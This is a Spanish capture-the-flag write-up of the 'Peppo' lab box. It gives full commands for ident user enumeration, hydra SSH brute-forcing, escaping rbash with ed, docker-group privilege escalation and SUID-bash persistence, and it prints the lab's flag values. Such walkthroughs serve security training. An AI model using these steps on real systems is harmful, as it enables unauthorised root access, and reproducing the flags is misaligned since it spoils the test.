Peppo
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Peppo expone un identd (113) que delata con qué usuario corre cada servicio: el del puerto 10000 eseleanor(enumeración por ident). Uneleanor:eleanorpor SSH (fuerza bruta con el usuario como contraseña) nos mete en una shell restringida (rbash); escapamos coned(escape de shell restringida) y vemos queeleanorestá en el grupodocker. Montamos la raíz del host en un contenedor (abuso del grupo docker), ponemos el bit SUID abashy abrimos una shellroot.
Reconocimiento
Escaneo inicial
TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Barremos los puertos TCP:
ping -c 1 192.168.136.60
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.136.60PORT STATE SERVICE
22/tcp open ssh
113/tcp open ident
5432/tcp open postgresql
8080/tcp open http
10000/tcp open httpnmap -p22,113,5432,8080,10000 -sCV 192.168.136.60 -oN targetedScanPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
113/tcp open ident FreeBSD identd
5432/tcp open postgresql PostgreSQL DB 9.6.0 or later
8080/tcp open http WEBrick httpd 1.4.2 (Ruby 2.6.6) [Redmine]
10000/tcp open http? servicio "Hello World" propioCinco servicios. El 8080 sirve un Redmine (sobre WEBrick), hay un PostgreSQL (5432) y un servicio casero en el 10000 que responde Hello World. Pero lo que más llama la atención es el 113/TCP, un identd: un protocolo en desuso que, si está activo, revela qué usuario corre cada servicio.
ident - TCP 113: enumeración de usuarios
El puerto es lo bastante raro como para buscar metodología antes de tocarlo. La página de HackTricks del 113 (Pentesting Ident) describe justo la herramienta que hace falta:

Ident-user-enum
Ident-user-enum is a simple PERL script to query the ident service (113/TCP) in order to determine the
owner of the process listening on each TCP port of a target system. The list of usernames gathered can be
used for password guessing attacks on other network services.Esa última frase es la clave de la caja: los nombres que devuelva no son un dato suelto, son munición para un ataque de contraseñas en otro servicio. ident-user-enum (de pentestmonkey, repo) consulta el identd preguntando por el dueño de la conexión de cada puerto abierto. Al ejecutarlo por primera vez falla con Can't locate Net/Ident.pm in @INC, así que hay que instalar el módulo Perl Net::Ident:
wget https://raw.githubusercontent.com/pentestmonkey/ident-user-enum/refs/heads/master/ident-user-enum.pl
chmod +x ident-user-enum.pl
apt install libnet-ident-perl
./ident-user-enum.pl 192.168.136.60 22 113 5432 8080 10000192.168.136.60:22 root
192.168.136.60:113 nobody
192.168.136.60:5432 <unknown>
192.168.136.60:8080 <unknown>
192.168.136.60:10000 eleanorIdent nos da un usuario real: el servicio del puerto 10000 corre como eleanor (enumeración por ident). Es un nombre concreto sobre el que dirigir el siguiente paso, sin necesidad de adivinar.
Shell como eleanor
SSH: usuario como contraseña
Con un único usuario válido, antes de un diccionario completo merece la pena probar el patrón más simple y sorprendentemente frecuente: el nombre de usuario como contraseña. Lanzamos hydra contra SSH (fuerza bruta) y cae enseguida:
hydra -l eleanor -P /usr/share/wordlists/rockyou.txt ssh://192.168.136.60 -I -t 64[22][ssh] host: 192.168.136.60 login: eleanor password: eleanoreleanor:eleanor. Entramos por SSH, pero la sesión es una shell restringida (rbash): no hay id, hostname ni whoami, el PATH es de solo lectura y apunta a un único directorio:

eleanor@peppo:~$ echo $PATH
/home/eleanor/bin
eleanor@peppo:~$ export PATH=/usr/bin:$PATH
-rbash: PATH: readonly variableEscape de rbash con ed
Inventariamos lo permitido. En ~/bin solo hay un puñado de binarios, y entre ellos destaca ed, el editor de líneas:

GTFOBins documenta exactamente ese caso para ed: su sección Shell dice que sirve para salir de entornos restringidos lanzando una shell interactiva del sistema, con el comando !:

ed [Shell] [File write] [File read] [SUID] [Sudo] [Limited SUID]
Shell
It can be used to break out from restricted environments by spawning an interactive system shell.
ed
!/bin/shEs decir: ed rompe entornos restringidos porque su comando ! lanza un programa del sistema. Abrimos una shell que no hereda el rbash, reconstruimos un PATH usable y comprobamos quiénes somos (escape de shell restringida):
ed
!/bin/sh
export PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:$PATH
id
uid=1000(eleanor) gid=1000(eleanor) groups=1000(eleanor),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),999(docker)El id revela el detalle clave: eleanor está en el grupo docker. Leemos primero la prueba de usuario:
cat local.txt && whoami && hostname && ip a
045d6d5665edfb58baa46aaba87f6cccEscalada de privilegios
Abuso del grupo docker: montar la raíz del host
El demonio Docker corre como root, así que pertenecer al grupo docker equivale a ser root: podemos lanzar un contenedor que monte el sistema de ficheros del host y operar sobre él con privilegios totales. Listamos las imágenes locales y arrancamos una montando / del host en /mnt, con chroot encima (abuso del grupo docker):
docker images
docker run -it --rm -v /:/mnt postgres chroot /mnt bash
id
root@dd1f1531dd8e:/# id
uid=0(root) gid=0(root) groups=0(root)Ya somos root sobre el disco real del host. Para consolidar el acceso de forma limpia, creamos un usuario nuevo y ponemos el bit SUID a bash (ambas acciones recaen sobre el host montado):
adduser jaime
chmod u+s /bin/bash
root@dd1f1531dd8e:/# adduser jaime
Adding user `jaime' ...
Adding new user `jaime' (1001) with group `jaime' ...
...
passwd: password updated successfully
root@dd1f1531dd8e:/# chmod u+s /bin/bash
root@dd1f1531dd8e:/# exitEl adduser se ejecuta como root sobre el disco del host montado en /mnt, así que la cuenta jaime queda creada en el host real, no en el contenedor efímero.
Salimos del contenedor, entramos por SSH con el usuario recién creado y aprovechamos el bash con SUID: -p conserva el euid=0 (abuso de SUID):
ssh jaime@192.168.136.60
bash -p
whoami
jaime@192.168.136.60's password:
Linux peppo 4.9.0-12-amd64 #1 SMP Debian 4.9.210-1 (2020-01-20) x86_64
-bash-4.4$ id && hostname && ip a
uid=1001(jaime) gid=1001(jaime) groups=1001(jaime)
peppo
...
-bash-4.4$ bash -p
bash-4.4# whoami
rootEl login SSH funciona (la cuenta existe en el host real) y bash -p conserva el euid=0 del bash con SUID, dándonos root directamente sobre peppo.
Leemos la prueba final:
cat /root/proof.txt && hostname && ip a && whoami
f87d35c9fc456dc93f70dc862b40013bCadena de ataque
ident (113) -- delata el usuario de cada servicio -> 10000 = eleanor
│ hydra SSH: eleanor:eleanor (usuario como contrasena)
▼
shell restringida (rbash) -- PATH readonly, ~/bin limitado
│ ed -> !/bin/sh (escape GTFOBins) + PATH reconstruido
▼
shell como eleanor (id: grupo docker, local.txt)
│ docker run -v /:/mnt postgres chroot /mnt bash -> root en el host
│ adduser jaime + chmod u+s /bin/bash
▼
shell como root (ssh jaime + bash -p, proof.txt)Lecciones aprendidas
- Ident es una fuga de información gratuita. Un protocolo de los años 90 sin valor real hoy reveló el usuario detrás de cada servicio y nos dio el nombre exacto (
eleanor) al que apuntar. No exponer el 113. - El usuario como contraseña funciona más de lo que debería. Antes de un diccionario enorme, probar
usuario:usuarioes barato y aquí abrió el SSH a la primera. rbashno es una barrera de seguridad. Bastó un binario con escape (ed) en elPATHrestringido para saltar a una shell normal. Una shell restringida solo contiene si su directorio no incluye editores, paginadores ni intérpretes.- El grupo
dockeresroot. Quien puede hablar con el demonio puede montar/del host en un contenedor y operar comoroot. Añadir un usuario al grupodockeres concederle el control total de la máquina.